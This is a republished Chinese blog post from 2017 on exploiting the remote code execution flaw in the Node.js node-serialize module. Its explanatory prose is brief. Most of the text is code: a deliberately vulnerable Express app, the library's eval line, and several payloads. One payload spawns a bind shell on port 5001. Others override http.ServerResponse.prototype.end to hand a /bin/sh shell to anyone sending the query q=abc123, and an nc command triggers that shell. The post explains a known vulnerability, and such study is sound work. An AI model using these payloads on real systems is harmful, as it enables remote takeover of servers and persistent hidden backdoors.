本文讲的是
NodeJS反序列化RCE漏洞的完美利用,
几天前,我在opsecx博客上注意到一篇博文,是谈论有关于利用nodejs的node-serialize模块中的RCE(远程执行代码)漏洞的文章。 文章很清楚地解释了存在安全问题的模块的详细信息,但有一件事情让我觉得不太妥当,使用Burp进行这个漏洞的利用,其过程比较复杂。 我没有攻击Burp不好用,相反,这是个极好的黑客工具 – 但我认为在这个漏洞的利用上我们可以做得更好。
var express = require('express'); var cookieParser = require('cookie-parser'); var escape = require('escape-html'); var serialize = require('node-serialize'); var app = express(); app.use(cookieParser()) app.get('/', function(req, res) { if (req.cookies.profile) { var str = new Buffer(req.cookies.profile, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { res.send("Hello " + escape(obj.username)); } } else { res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true }); res.send("Hello stranger"); } }); app.listen(3000);
{ "dependencies": { "cookie-parser": "^1.4.3", "escape-html": "^1.0.3", "express": "^4.14.1", "node-serialize": "0.0.4" } }
https://github.com/luin/serialize/blob/c82e7c3c7e802002ae794162508ee930f4506842/lib/serialize.js#L41 } else if(typeof obj[key] === 'function') { var funcStr = obj[key].toString(); if(ISNATIVEFUNC.test(funcStr)) { if(ignoreNativeFunc) { funcStr = 'function() {throw new Error("Call a native function unserialized")}'; } else { throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.'); } } outputObj[key] = FUNCFLAG + funcStr; } else {
if(obj[key].indexOf(FUNCFLAG) === 0) { obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')'); } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
/** * Response prototype. */ var res = module.exports = { __proto__: http.ServerResponse.prototype };
if (req.method === 'HEAD') { // skip body for HEAD this.end(); } else { // respond this.end(chunk, encoding); }
require('http').ServerResponse.prototype.end = (function (end) { return function () { // TODO: this.socket gives us the current open socket } })(require('http').ServerResponse.prototype.end)
require('http').ServerResponse.prototype.end = (function (end) { return function () { // TODO: this.socket._httpMessage.req.query give us reference to the query } })(require('http').ServerResponse.prototype.end)
var cp = require('child_process') var net = require('net') net.createServer((socket) => { var sh = cp.spawn('/bin/sh') sh.stdout.pipe(socket) sh.stderr.pipe(socket) socket.pipe(sh.stdin) }).listen(5001)
require('http').ServerResponse.prototype.end = (function (end) { return function () { if (this.socket._httpMessage.req.query.q === 'abc123') { var cp = require('child_process') var net = require('net') var sh = cp.spawn('/bin/sh') sh.stdout.pipe(this.socket) sh.stderr.pipe(this.socket) this.socket.pipe(sh.stdin) } else { end.apply(this, arguments) } } })(require('http').ServerResponse.prototype.end)
$ nc localhost 3000 GET /?q=abc123 HTTP/1.1 ls -la
require('http').ServerResponse.prototype.end = (function (end) { return function () { if (this.socket._httpMessage.req.query.q === 'abc123') { ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket)) var cp = require('child_process') var net = require('net') var sh = cp.spawn('/bin/sh') sh.stdout.pipe(this.socket) sh.stderr.pipe(this.socket) this.socket.pipe(sh.stdin) } else { end.apply(this, arguments) } } })(require('http').ServerResponse.prototype.end)
原文发布时间为:2017年3月3日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。